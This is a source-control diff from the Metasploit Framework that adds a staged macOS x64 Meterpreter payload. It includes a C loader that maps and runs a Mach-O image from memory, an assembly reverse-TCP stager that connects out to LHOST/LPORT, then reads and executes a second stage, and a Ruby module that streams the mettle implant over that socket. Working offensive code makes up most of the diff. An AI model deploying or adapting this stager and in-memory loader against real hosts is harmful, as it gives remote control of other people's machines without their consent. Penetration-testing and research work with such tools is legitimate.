Land #9366, Add x64 staged Meterpreter for macOS
Brent Cook
Jeffrey Martin
parent
8c2484d2da
commit
59a41f04f7
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@ -58,6 +58,7 @@ PATH
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rex-struct2
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rex-text
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rex-zip
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ruby-macho
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ruby_smb
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rubyntlm
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rubyzip
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@ -320,6 +321,7 @@ GEM
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rspec-rerun (1.1.0)
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rspec (~> 3.0)
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rspec-support (3.7.1)
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ruby-macho (1.1.0)
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ruby-rc4 (0.1.5)
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ruby_smb (0.0.18)
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bindata
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@ -0,0 +1,19 @@
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CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
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GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
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GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
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GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
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all: clean main_osx
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main_osx: main.c
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$(GCC_OSX) -o $@ $^
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install: main_osx
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cp main_osx ../../../../../data/meterpreter/x64_osx_stage
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shellcode: install
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otool -tv main_osx
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clean:
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rm -f *.o main_osx
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@ -0,0 +1,301 @@
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/*
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* References:
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* @parchedmind
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* https://github.com/CylanceVulnResearch/osx_runbin/blob/master/run_bin.c
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*
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* @nologic
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* https://github.com/nologic/shellcc
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*/
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#include <stdio.h>
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#include <string.h>
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#include <mach-o/loader.h>
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#include <mach-o/nlist.h>
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#include <mach-o/dyld.h>
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#include <sys/types.h>
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#include <sys/sysctl.h>
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typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage);
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typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options);
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uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer);
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uint64_t find_symbol(uint64_t base, char* symbol);
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uint64_t find_entry_offset(struct mach_header_64 *mh);
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int string_compare(const char* s1, const char* s2);
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int detect_sierra();
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/*#define DEBUG*/
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#ifdef DEBUG
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static void print(char * str);
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#endif
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#define DYLD_BASE_ADDR 0x00007fff5fc00000
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int main(int argc, char** argv)
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{
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#ifdef DEBUG
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print("main!\n");
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#endif
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uint64_t buffer = 0;
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uint64_t buffer_size = 0;
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__asm__(
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"movq %%r10, %0;\n"
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"movq %%r12, %1;\n"
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: "=g"(buffer), "=g"(buffer_size));
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#ifdef DEBUG
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print("hello world!\n");
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#endif
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int sierra = detect_sierra();
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uint64_t binary = DYLD_BASE_ADDR;
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if (sierra) {
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binary = find_macho(0x100000000, 0x1000, 0);
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if (!binary) {
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return 1;
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}
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binary += 0x1000;
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}
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uint64_t dyld = find_macho(binary, 0x1000, 0);
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if (!dyld) {
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return 1;
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}
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NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
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if (!NSCreateObjectFileImageFromMemory_func) {
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return 1;
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}
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#ifdef DEBUG
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print("good symbol!\n");
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#endif
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NSLinkModule_ptr NSLinkModule_func = (void*)find_symbol(dyld, "_NSLinkModule");
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if (!NSLinkModule_func) {
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return 1;
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}
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if (!sierra) {
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NSCreateObjectFileImageFromMemory_func -= DYLD_BASE_ADDR;
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NSLinkModule_func -= DYLD_BASE_ADDR;
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}
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/*if (*(char*)buffer == 'b') {*/
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/*print("magic b!\n");*/
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/*}*/
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*(char*)buffer = '\xcf';
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((uint32_t *)buffer)[3] = MH_BUNDLE;
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NSObjectFileImage fi = 0;
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if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
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return 1;
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}
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#ifdef DEBUG
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print("created!\n");
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#endif
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NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
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if (!nm) {
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#ifdef DEBUG
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print("no nm!\n");
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#endif
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return 1;
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}
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#ifdef DEBUG
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print("good nm!\n");
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#endif
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uint64_t execute_base = (uint64_t)nm;
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execute_base = find_macho(execute_base, sizeof(int), 1);
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uint64_t entry_off = find_entry_offset((void*)execute_base);
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if (!entry_off) {
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return 1;
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}
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uint64_t entry = (execute_base + entry_off);
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int(*main_func)(int, char**) = (int(*)(int, char**))entry;
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char* socket = (char*)(size_t)argc;
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char *new_argv[] = { "m", socket, NULL };
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int new_argc = 2;
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return main_func(new_argc, new_argv);
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}
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uint64_t find_symbol(uint64_t base, char* symbol)
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{
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struct segment_command_64 *sc, *linkedit, *text;
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struct load_command *lc;
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struct symtab_command *symtab;
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struct nlist_64 *nl;
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char *strtab;
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symtab = 0;
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linkedit = 0;
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text = 0;
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lc = (struct load_command *)(base + sizeof(struct mach_header_64));
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for (int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
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if (lc->cmd == LC_SYMTAB) {
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symtab = (struct symtab_command *)lc;
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} else if (lc->cmd == LC_SEGMENT_64) {
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sc = (struct segment_command_64 *)lc;
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char * segname = ((struct segment_command_64 *)lc)->segname;
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if (string_compare(segname, "__LINKEDIT") == 0) {
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linkedit = sc;
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} else if (string_compare(segname, "__TEXT") == 0) {
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text = sc;
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}
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}
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lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
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}
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if (!linkedit || !symtab || !text) {
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return 0;
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}
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unsigned long file_slide = linkedit->vmaddr - text->vmaddr - linkedit->fileoff;
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strtab = (char *)(base + file_slide + symtab->stroff);
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nl = (struct nlist_64 *)(base + file_slide + symtab->symoff);
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for (int i=0; i<symtab->nsyms; i++) {
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char *name = strtab + nl[i].n_un.n_strx;
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/*#ifdef DEBUG*/
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/*print(name);*/
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/*print("\n");*/
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/*#endif*/
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if (string_compare(name, symbol) == 0) {
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return base + nl[i].n_value;
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}
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}
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return 0;
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}
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uint64_t syscall_chmod(uint64_t path, long mode)
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{
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uint64_t chmod_no = 0x200000f;
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uint64_t ret = 0;
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__asm__(
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"movq %1, %%rax;\n"
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"movq %2, %%rdi;\n"
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"movq %3, %%rsi;\n"
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"syscall;\n"
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"movq %%rax, %0;\n"
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: "=g"(ret)
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: "g"(chmod_no), "S"(path), "g"(mode)
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:);
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return ret;
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}
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uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
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{
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while(1) {
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uint64_t ptr = addr;
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if (pointer) {
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ptr = *(uint64_t *)ptr;
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}
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unsigned long ret = syscall_chmod(ptr, 0777);
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if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) {
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return ptr;
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}
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addr += increment;
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}
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return 0;
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}
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uint64_t find_entry_offset(struct mach_header_64 *mh)
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{
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struct entry_point_command *entry;
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struct load_command *lc = (struct load_command *)((void*)mh + sizeof(struct mach_header_64));
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for (int i=0; i<mh->ncmds; i++) {
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if (lc->cmd == LC_MAIN) {
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entry = (struct entry_point_command *)lc;
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return entry->entryoff;
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}
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lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
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}
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return 0;
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}
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int string_compare(const char* s1, const char* s2)
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{
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while (*s1 != '\0' && *s1 == *s2)
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{
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s1++;
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s2++;
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}
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return (*(unsigned char *) s1) - (*(unsigned char *) s2);
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}
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int detect_sierra()
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{
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uint64_t sc_sysctl = 0x20000ca;
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int name[] = { CTL_KERN, KERN_OSRELEASE };
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uint64_t nameptr = (uint64_t)&name;
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uint64_t namelen = sizeof(name)/sizeof(name[0]);
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char osrelease[32];
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size_t size = sizeof(osrelease);
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uint64_t valptr = (uint64_t)osrelease;
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uint64_t valsizeptr = (uint64_t)&size;
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uint64_t ret = 0;
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__asm__(
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"mov %1, %%rax;\n"
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"mov %2, %%rdi;\n"
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"mov %3, %%rsi;\n"
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"mov %4, %%rdx;\n"
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"mov %5, %%r10;\n"
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"xor %%r8, %%r8;\n"
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"xor %%r9, %%r9;\n"
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"syscall;\n"
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"mov %%rax, %0;\n"
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: "=g"(ret)
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: "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr)
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: );
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// osrelease is 16.x.x on Sierra
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if (ret == 0 && size > 2) {
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if (osrelease[0] == '1' && osrelease[1] < '6') {
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return 0;
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}
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if (osrelease[0] <= '9' && osrelease[1] == '.') {
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return 0;
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}
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}
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return 1;
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}
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#ifdef DEBUG
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int string_len(const char* s1)
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{
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const char* s2 = s1;
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while (*s2 != '\0')
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{
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s2++;
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}
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return (s2 - s1);
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}
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void print(char * str)
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{
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long write = 0x2000004;
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long stdout = 1;
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unsigned long len = string_len(str);
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unsigned long long addr = (unsigned long long) str;
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unsigned long ret = 0;
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/* ret = write(stdout, str, len); */
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__asm__(
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"movq %1, %%rax;\n"
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"movq %2, %%rdi;\n"
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"movq %3, %%rsi;\n"
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"movq %4, %%rdx;\n"
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"syscall;\n"
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"movq %%rax, %0;\n"
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: "=g"(ret)
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: "g"(write), "g"(stdout), "S"(addr), "g"(len)
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: "rax", "rdi", "rdx" );
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}
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#endif
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Binary file not shown.
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@ -118,6 +118,7 @@ Gem::Specification.new do |spec|
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#
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# Needed by auxiliary/gather/http_pdf_authors module
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spec.add_runtime_dependency 'pdf-reader'
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spec.add_runtime_dependency 'ruby-macho'
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#
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# Protocol Libraries
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@ -7,8 +7,9 @@ require 'msf/core/handler/reverse_tcp'
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module MetasploitModule
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CachedSize = 154
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CachedSize = 168
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include Msf::Payload::TransportConfig
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include Msf::Payload::Stager
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def initialize(info = { })
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@ -21,35 +22,108 @@ module MetasploitModule
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'Arch' => ARCH_X64,
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'Handler' => Msf::Handler::ReverseTcp,
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'Convention' => 'sockedi',
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'Stager' =>
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{
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'Offsets' =>
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{
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'LHOST' => [ 37, 'ADDR'],
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'LPORT' => [ 35, 'n']
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},
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'Payload' =>
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"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
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"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
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"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
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"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
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"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
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"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
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"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
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"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
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"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
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"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
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"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
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"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
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"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
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}
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))
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end
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def handle_intermediate_stage(conn, p)
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#
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# Our stager payload expects to see a next-stage length first.
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#
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conn.put([p.length].pack('V'))
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def generate(opts = {})
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encoded_port = "%.8x" % [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first
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encoded_host = "%.8x" % Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
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retry_count = datastore['StagerRetryCount']
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seconds = datastore['StagerRetryWait']
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sleep_seconds = seconds.to_i
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sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
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stager_asm = %(
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; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)
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push 0
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pop rdi
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push 0x1000
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pop rsi
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push 7
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pop rdx
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push 0x1002
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pop r10
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push 0
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pop r8
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push 0
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pop r9
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push 0x20000c5
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pop rax
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syscall
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jb failed
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mov r12, rax
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push 0
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pop r10
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push #{retry_count}
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pop r11
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socket:
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; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
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push 2
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pop rdi ; rdi=AF_INET
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push 1
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pop rsi ; rsi=SOCK_STREAM
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push 0
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pop rdx ; rdx=IPPROTO_IP
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push 0x2000061
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pop rax
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syscall
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jb retry
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; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);
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mov rdi, rax
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mov rax, 0x#{encoded_host}#{encoded_port}
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push rax
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push rsp
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pop rsi
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push 16
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pop rdx
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push 0x2000062
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pop rax
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syscall
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jb retry
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; recvfrom(sockfd, addr, 0x1000)
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mov rsi, r12
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push 0x1000
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pop rdx
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push 0x200001d
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pop rax
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syscall
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jb retry
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call r12
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retry:
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dec r11
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jz failed
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push 0
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pop rdi
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push 0
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pop rsi
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push 0
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pop rdx
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push 0
|
||||
pop r10
|
||||
push 0x#{sleep_nanoseconds.to_s(16)}
|
||||
push 0x#{sleep_seconds.to_s(16)}
|
||||
push rsp
|
||||
pop r8
|
||||
push 0x200005d
|
||||
pop rax
|
||||
syscall
|
||||
jmp socket
|
||||
|
||||
failed:
|
||||
push 0x2000001
|
||||
pop rax
|
||||
push 0x1
|
||||
pop rdi
|
||||
syscall ; exit(1)
|
||||
)
|
||||
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, stager_asm).encode_string
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -0,0 +1,145 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/base/sessions/meterpreter_x64_osx'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'macho'
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Meterpreter',
|
||||
'Description' => 'Inject the mettle server payload (staged)',
|
||||
'Platform' => 'osx',
|
||||
'Author' => [
|
||||
'parchedmind', # osx_runbin
|
||||
'nologic', # shellcc
|
||||
'timwr', # metasploit integration
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/CylanceVulnResearch/osx_runbin' ],
|
||||
[ 'URL', 'https://github.com/nologic/shellcc' ]
|
||||
],
|
||||
'Arch' => ARCH_X64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_OSX,
|
||||
'Convention' => 'sockedi',
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
stager_file = File.join(Msf::Config.data_directory, "meterpreter", "x64_osx_stage")
|
||||
data = File.binread(stager_file)
|
||||
macho = MachO::MachOFile.new_from_bin(data)
|
||||
main_func = macho[:LC_MAIN].first
|
||||
entry_offset = main_func.entryoff
|
||||
|
||||
output_data = ''
|
||||
for segment in macho.segments
|
||||
for section in segment.sections
|
||||
file_section = segment.fileoff + section.offset
|
||||
vm_addr = section.addr - 0x100000000
|
||||
section_data = data[file_section, section.size]
|
||||
if output_data.size < vm_addr
|
||||
output_data += "\x00" * (vm_addr - output_data.size)
|
||||
end
|
||||
if section_data
|
||||
output_data[vm_addr, output_data.size] = section_data
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
midstager_asm = %(
|
||||
push rdi ; save sockfd
|
||||
xor rdi, rdi ; address
|
||||
mov rsi, #{output_data.length} ; length
|
||||
mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS
|
||||
xor r8, r8 ; fd
|
||||
xor r9, r9 ; offset
|
||||
mov eax, 0x20000c5 ; mmap
|
||||
syscall
|
||||
|
||||
mov r12, rax
|
||||
|
||||
mov rdx, rsi ; length
|
||||
mov rsi, rax ; address
|
||||
pop rdi ; sockfd
|
||||
mov r10, 0x40 ; MSG_WAITALL
|
||||
xor r8, r8 ; srcaddr
|
||||
xor r9, r9 ; addrlen
|
||||
mov eax, 0x200001d ; recvfrom
|
||||
syscall
|
||||
|
||||
push rdi ; save sockfd
|
||||
xor rdi, rdi ; address
|
||||
mov rsi, #{payload.length} ; length
|
||||
mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS
|
||||
xor r8, r8 ; fd
|
||||
xor r9, r9 ; offset
|
||||
mov eax, 0x20000c5 ; mmap
|
||||
syscall
|
||||
|
||||
mov rdx, rsi ; length
|
||||
mov rsi, rax ; address
|
||||
pop rdi ; sockfd
|
||||
mov r10, 0x40 ; MSG_WAITALL
|
||||
xor r8, r8 ; srcaddr
|
||||
xor r9, r9 ; addrlen
|
||||
mov eax, 0x200001d ; recvfrom
|
||||
syscall
|
||||
|
||||
mov r10, rsi
|
||||
|
||||
; setup stack?
|
||||
and rsp, -0x10 ; Align
|
||||
add sp, 0x40 ; Add room for initial stack and prog name
|
||||
mov rax, 109 ; prog name "m"
|
||||
push 0 ;
|
||||
mov rcx, rsp ; save the stack
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push rdi ; ARGV[1] int sockfd
|
||||
push rcx ; ARGV[0] char *prog_name
|
||||
mov rax, 2 ; ARGC
|
||||
push rax
|
||||
|
||||
mov rsi, r12
|
||||
mov r12, rdx
|
||||
|
||||
mov rax, #{entry_offset}
|
||||
add rsi, rax
|
||||
call rsi
|
||||
|
||||
; exit
|
||||
mov eax, 0x2000001
|
||||
mov rdi, 0x1
|
||||
syscall
|
||||
)
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
|
||||
print_status("Transmitting first stager...(#{midstager.length} bytes)")
|
||||
|
||||
conn.put(midstager) == midstager.length
|
||||
print_status("Transmitting second stager...(#{output_data.length} bytes)")
|
||||
conn.put(output_data) == output_data.length
|
||||
end
|
||||
|
||||
def generate_stage(opts = {})
|
||||
mettle_macho = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
|
||||
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :exec
|
||||
mettle_macho[0] = 'b'
|
||||
mettle_macho
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue